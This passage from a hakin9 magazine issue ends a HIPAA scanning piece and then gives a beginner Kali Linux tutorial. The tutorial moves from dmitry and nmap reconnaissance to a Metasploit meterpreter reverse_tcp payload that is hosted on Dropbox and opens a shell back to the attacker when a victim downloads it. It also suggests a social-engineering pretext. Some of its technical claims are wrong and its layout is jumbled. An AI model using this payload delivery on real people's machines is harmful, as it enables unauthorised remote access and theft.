to our medical clients and reduce risk as part of a
comprehensive HIPAA compliance program. The experiences outlined here demonstrate that Raspberry Pi and Kali make an effective hardware/software
platform for network scans. As is to be expected with
an open source project, more effort and technical
knowledge is required to deploy (and maintain) the
solution; however, the long-term return on investment
makes the endeavor worthwhile. The end goal is to
have a completely automated and low-cost scanning
solution where all parties have direct access to the
reports for compliance and remediation purposes.
This proof of concept using Kali shows that the end
goal is certainly within reach.

HIPAA Terms

Covered Entity – a healthcare provider, a health
plan, or healthcare clearinghouse.
Business Associate – a person or entity that performs certain functions or activities that involve the
use or disclosure of protected health information on
behalf of, or provides services to, a covered entity.
Electronic Protected Health Information (e-PHI)
– individually identifiable health information is
that which can be linked to a particular person.
Common identifiers of health information include
names, social security numbers, addresses, and
birth dates.

Charlie Waters
Charlie Waters serves as the Security Officer
and Senior Consultant for Infinity Network
Solutions, a Georgia-based MSP firm. His
background in technology began with an
early curiosity and passion for computing
with a Commodore 64 (at the age of twelve). A hobby turned
career has led the author on a journey from software developer, web programmer/host, systems engineer, and management
in the public and private sector, to his current role in technology
consulting. A life-long learner, Charlie maintains the same curiosity and passion for technology now in a career spanning fifteen years.

39

DEFENSE

KALI LINUX
A Solution to HACKING/SECURITY
Today is the world of technology and everyone somehow is
attached to it. Some are using the technology for the good
purpose and some are using it for bad purposes and Internet
is one of those technologies which define both my statements.
Internet is being used both by the good (the White Hats) and
the bad (the Black Hats). So, my paper is totally based on the
above line that the OS (Operating System) KALI LINUX (which
is an extension to Backtrack) can be used in both the ways
either in good things or in bad things.

I

n the depth of crisis, hacking over the Internet
is still the very big problem, because the rate of
technology is increasing day by day and everyone here is for earning money. In that case some
earn the money through bad methods or some
by good methods. So, as a hacker I don’t support
people earning money with bad methodologies.
Now with the depth of hacking, some big companies over the Internet like Facebook, Google,
Firefox, and many more opened up a scheme of
bug bounties in which hackers from all over the
world are invited to find out a bug or vulnerability
in their services, which if found they pay them with
high bounties for their hard + smart work. To find
out those bugs hackers have to use some methodologies either based on command line or GUI
based interfaces. Therefore in order to fulfill this
demand of hackers, another type of Operating system called Kali Linux came into the market which is
an extension to Backtrack. Now Kali Linux is very
much helpful for penetration testing and vulnerability assessments. I am going to show the various
tools that can be used for penetration testing and
also for attacking. This guide on Kali Linux will describe both the parts.
Now before moving on to the real demonstrations let’s just go through some of the definitions
and terminologies so that while performing there
should be no dilemma in the minds of the people.

40

What is Kali Linux and what’s its use?
Now this question must come in the minds of the
people that what is Kali Linux. Let me just clear this
concept that Kali Linux is a complete re-building of
the Backtrack Linux distributions which is based
upon the Debian platform. Now Kali Linux is an advance version of OS which is used for penetration
testing and security auditing Linux distributions.
This is also an open source OS which is available
freely on the Internet. So that anyone can download from the Internet.
Features of Kali Linux
Some of the features that makes Kali much more
compatible and useful than any other Linux distributions.
• Kali Linux come up with 300+ penetration testing tools which are enough to audit any OS,
any website or web apps.
• Much more powerful and faster than Backtrack.
• In Backtrack many tools didn’t work which are
eliminated in Kali.
• Open source and freely available on Internet.
• Kali Linux is much more compatible with wireless devices.
• Comes in a package of multi languages so that
every person can enjoy assessments in their
own language.

Extra 03/2013

KALI LINUX – A Solution to HACKING/SECURITY

• The packages that are included in the Kali
Linux are signed by each individual (GPG signatures).
• It includes the latest patch for injections which
could help the pentesters to do assessments
on the various wireless techniques
• And many more.

Figure 1. The login panel of Kali

This is how exactly the Kali looks when you enter to the main desktop. Just reject the folders.
Now this is my Kali installed in the virtual machine and I am not wasting the time in the installation process because people are smart enough
to carry out the installation of any operating system. So, let’s just focus on our main task. Just
look at the top-right corner of the window it will
show that who is currently logged into your system (Figure 2).
Now moving on to the next, the very first task
when you enter into the Kali is to check whether
the Internet connection is working fine or not. Below in the snapshot just look at the cursor at the
top right corner showing the wired network which
means the Internet is working fine in the virtual machine with NAT enabled (Figure 3).
Now let’s get familiar with the terminal. In windows there is a command prompt from where the
whole system can be assessable, in Linux there
is something called as terminal which is a based
upon the command line interface from where the
whole system can be viewed. In order to open the
terminal just follow the path as – “Applications >
Accessories > terminal” and from there you can
simply copy the terminal to the desktop like I did,
so that every time the user doesn’t have to go
there, he just come in and click on the terminal to
access it (Figure 4).

Figure 2. The desktop

Figure 4. Showing the path to open the terminal

Figure 3. Showing the Internet connectivity

Figure 5. The terminal – a command line interface

Let us have a close look to Kali now.

A survey to Kali Linux

The outer look of Kali is pretty much different from
any other Linux distributions like backtrack. The
default username and password to enter into the
Kali is same as that of backtrack – username –
root and password – toor (Figure 1).

www.hakin9.org/en

41

DEFENSE

And this is how the terminal looks like (Figure 5).
Now let’s get our hands dirty by running some of
the commands in the terminal and let’s get friendly
with the Linux.
Some of the important commands which will help
the user to get friendly with Kali:
• In order to run a service in Linux just run
service  start. For an instance let’s say
I have run a service called apache2 for my local-host then I will type, “service apache2
start” (Figure 6). And in order to check whether the service has been successfully started or
not. Just start your Internet browser and write
“127.0.0.1” which is a loopback address which

Figure 6. Showing to start the apache2 service

42

shows the successful working of the Apache
server (Figure 7).
• In order to open the Internet browser through
the terminal, just enter “Firefox &” and it will
open the browser and also shows that what exactly the PID (process ID) for this browser process has been allocated (Figure 8).
• If the root wants to change the password of his
account, he can simply do it by entering the
command, “passwd” and enter the password it
will change the password from default “toor” to
say “123” (Figure 9)
Till now we have seen some of the important
commands which make a user friendly with the
Linux terminal. Some more commands which are
very helpful for any user to get started with the
Linux and those are:
• ls – list the files and folders of the current directory
• cd – change directory
• touch – to make a file
• mkdir – to create a directory
• rm – removes the files, rm -R removes files
and directories
• rmdir – removes the empty directories
• man – open the manual for the commands
• time – to see the current time

Figure 7. Shows Apache is successfully running

Figure 9. Changing root default password

Figure 8. Showing to open the Firefox browser

Figure 10. Exploring the tools

Extra 03/2013

KALI LINUX – A Solution to HACKING/SECURITY

• date – shows the current
• nano – another editor for the creation and editing of the files.
Now these are some of the most important commands which will help any user in the further
process. Now let us just get back to our main
motive but before first let me make everyone familiar with some of the terminologies which will
help everyone to understand the basic concept
behind the scene.
Now in order to begin with any kind of hacking
every person has to go through some phases and
those phases are knows as the hacking phases
and those are:

• Passive gathering – in which a user is not directly interacting with the target means collecting the information from search engines like
Google or Bing (Figure 11).
Now the main task is to gather the IP (Internet
Protocol) address which is a 32-bit unique number and is being assigned to everyone. The best
method is to ping a website and gather the IP address. Although the ping is used for checking the
whether the host is alive or not but here we are
quite stick to our own method. So, if your target is

Steps Performed by Hackers:
There are only five steps in order to hack anything
in this world:
•
•
•
•
•

Information Gathering
Scanning
Gaining Access
Maintaining Access
Covering Tracks

In order to explore more about these hacking
steps let’s just check from where all the tools can
be accessed in GUI interface (Figure 10).
Now there are more than 300+ tools in Kali Linux
which will help to acquire the remote systems,
generating your own payloads, addition of latest
exploits, scanning process and much more. Now
it is not possible for me also to explore each and
every tool in the tool list but what I am going to do
here is sticking to the main concept and will going
to show the main tools which will make a person
familiar with the Kali and it will also make them free
to use the tools of their own.
Information Gathering
the very first step in order to gather each and every information about the target, only then a tester can examine the whole bunch of vulnerabilities and can patch them easily and safely. Now
the major source of gathering the information is
Google which is an open source and is available
for each person. But the information gathering depends upon:
• Active gathering- which completely means a
user is interacting with the target directly. For
an instance – making a phone call to a friend
working in the target company and gathering
the information by spoofing your own friend.

www.hakin9.org/en

Figure 11. Gathering information from Google

Figure 12. Acquiring the IP address of a particular website

Figure 13. Options in Dmitry

43

DEFENSE

website simply ping  and copy the
IP address (Figure 12).
Now the next information gather is to check for
the:
•
•
•
•

reverse look up
DNS information
IP address
and type of target

Now in Kali there is only tool which can give you
all these results, and you don’t have your Internet every time to go a website and start searching for the results. The tool that I am using here is
“dmitry” which is completely based on command
line but very easy to use and even give the results
faster and accurate.
So in order to use dmitry simply run the following
command (Figure 13-15):

The second most important phase to find out the
services that are vulnerable, the open ports, and
many other types of types of services which are
vulnerable in windows, websites, routers, and networks etc. therefore, scanning is broadly divided
into major three parts:
• Port scanning: In this method the attacker will
send a number of messages to break into the
computer so that he can get the information
about the computer’s network.
• Network Scanning: To check the number of active hosts on the network.
• Vulnerability scanning: Means to check the
weaknesses in the target so that it attacker uses those to gain the access of the target

Now in this particular scan I have targeted the
Google and it shows the scan results that all the
150 ports are in a closed state. You can simply
put as many as options you want.

So now I am going to use the universal vulnerability scanner which gives the best output for
scanning process and is an open source available freely on the Internet and the tool known is
nmap which is responsible a number of fingerprinting, service fingerprinting and numerous
TCP scan, stealth scan, UDP scan, PORT scan
and many more.

Figure 14. Running Dmitry against Google

Figure 16. Invoking the nmap in the terminal

Figure 15. Results of the Dmitry scan

Figure 17. TCP scans



44

Scanning

Extra 03/2013

KALI LINUX – A Solution to HACKING/SECURITY

Step 1

Invoke the nmap by running the command “nmap”
(Figure 16).
Step 2
Check for TCP SCAN. Command used is: namp
-sT IPaddress (Figure 17).

Exploitation

Gaining Access or exploitation means to acquire
any computer system, control panel of any website
or any network without someone’s permission. The
attacker in this phase attacks on the systems to
gain the access and steals the important information about the company which he wants to exploit.
The exploit can occur in LAN (Local Area Network),
in a WAN (Wide Area Network) and also it can also
occur offline like REVERSE ENGINEERING, Buffer Overflow Attacks, Password Filtering etc.
Now in this particular phase I am going to exploit
my own WIN-7 just to show how the exploitation
can be done through Kali Linux in much faster way
than Backtrack.
Before going deep into the exploitation let me
clear some of the basic terminologies so that there
should be no confusion while going through attacking phase.
• Threat: A threat is potential violation of the security.
• Vulnerability: It is the weakness in the design of
an application or any website that can lead to
compromising with the security of the system or
the network or any web based application.
• Attack: To set up a violence force.
• Exploit: It means to breach the security of the
IT (Info. Tech.) System through the vulnerability.
• Payload: Payloads in computer security are related to malicious files (generally .exe) which
perform malicious activity.
• Reverse TCP connection: A reverse connection actually made to bypass the restrictions
that the firewall has applied on the open ports.
A firewall actually blocks the incoming traffic
through the open ports but could not block the
outgoing traffic. So, the attacker use this way
to bypass the security restrictions.

Brief Description about the Metasploit

Metasploit (also known as MS) is basically an open
source framework that contains all the exploits,
payloads, helpful in penetration testing and also
helpful in IDS signature development. MSF actually contains the database of the exploit codes which
when hit on any PC inside or outside the network
with the concerned vulnerabilities, produce a shell
at that targeted PC and returns back to the attacker’s machine.
So, let’s get started with the exploitation phase:

•

Open up the terminal and invoke the Metasploit
console by running the command called
msfconsole and wait for 1-2 minutes as it takes time
to load all the payloads, exploits etc (Figure 18).

Figure 18. Invoking the Metasploit Terminal

Figure 19. Generating a payload for back connection

Things Required
• KALI LINUX UPDATED METASPLOIT.
• An intermediate to upload your payload (I am
using DROPBOX and SHARE FOLDER of KALI LINUX).

www.hakin9.org/en

Figure 20. Executing the exploit to run

45

DEFENSE
•

And in the mean while till the msfconsole gets
opened, open up a new terminal to create a
payload which will help to create a back connection, and in order to create a payload enter
the following command (Figure 19): msfpayload
windows/meterpreter/reverse _ tcp
IP

address

lport=4444

backconnection.exe

x

>

lhost=Kali

/root/Desktop/

• Now upload it anywhere on the Internet to exploit and here I am uploading it in dropbox just
for demonstration.
• Now coming back to the Metasploit console
and run the following commands step by step.
• Write the command – use exploit/multi/handler
and press enter” (Figure 20)
• Set a payload by writing the command (Figure
21): set payload Windows/vncinject/reverse _ tcp
• Set the LHOST (LOCAL HOST) – set lhost
192.168.40.128 (KALI IP address) (Figure 22)
• Then Just set for the exploit – “exploit” (Figure 23)
• Now as soon as The VICTIM download your
vulnerable payload file from the INTERNET
you will get the back connection of his/her PC
(Figure 24 and Figure 25)

46

way in order to come back to into the system later. By this step of hacking an attacker can come
to the gained system anytime even if the service
he exploited is patched. The Metasploit Persistent Meterpreter Service is what an attacker usually uses, but there’s warning when you use this
persistent Meterpreter requires no authentication.
But this will have a problem. Any other attacker
who uses the same service will also have the
same port address to maintain the access which
is not a right thing.

Covering tracks

Covering tracks is a last phase of hacking. Covering tracks refers to the actions that are being undertaken by an attacker to widen his exploitation of
the system without being detected. Now the reason behind covering tracks is to be on the safer
side and also include the prolonged stay and continued use of resources.

Conclusion

Maintaining Access

Maintaining Access is an important phase after
gaining the access to any computer system. In
this step the attacker leaves himself an easier

In the end I would only like to conclude that in
the depth of crisis, hacking over the INTERNET
is still a very big problem. Some hackers do it for
the sake of fun or some do it for the sake of taking revenge. Therefore, KALI is the solution of all
these answers. Kali can be used as an OS for
penetration testing which could help the security

Figure 21. Executing the payload

Figure 23. Setting up the exploit in msfconsole

Figure 22. Setting up the LHOST

Figure 24. Victim tried to install our payload

Extra 03/2013

KALI LINUX – A Solution to HACKING/SECURITY

Deepanshu Khanna
Linux Security Researcher,
Mr. Deepanshu Khanna, a Young Linux Security Expert from
Ludhiana, Punjab (India), is Linux Security Researcher & Penetration Tester at “Prediqnous – Cyber Security & IT Intelligence”. Currently, he is pursuing his B.Tech. in Computer Science from Lovely Professional University (LPU). He managed
Web Penetration testing, performed network analysis, Exploit
making, Nessus Complete Security, IDS and Linux Security,
which leads him to join Prediqnous Team. He has delivered his
knowledge through Seminars and Workshops across India.
He gives training to the students for IT Security & Ethical Hacking. He found and reported many vulnerabilities and phishing
scams to IT Dept. of India. He aims to get applauses from other experts of IT industry for his research work on IT Security.
Email: khannadeepanshu34@yahoo.in
Mobile Number: +91-9779903383

Figure 25. Successfully got the Windows Shell on my KALI
LINUX

researchers and analysts to find out the bugs in
various networks or OS so that they can become
secure to some extent.

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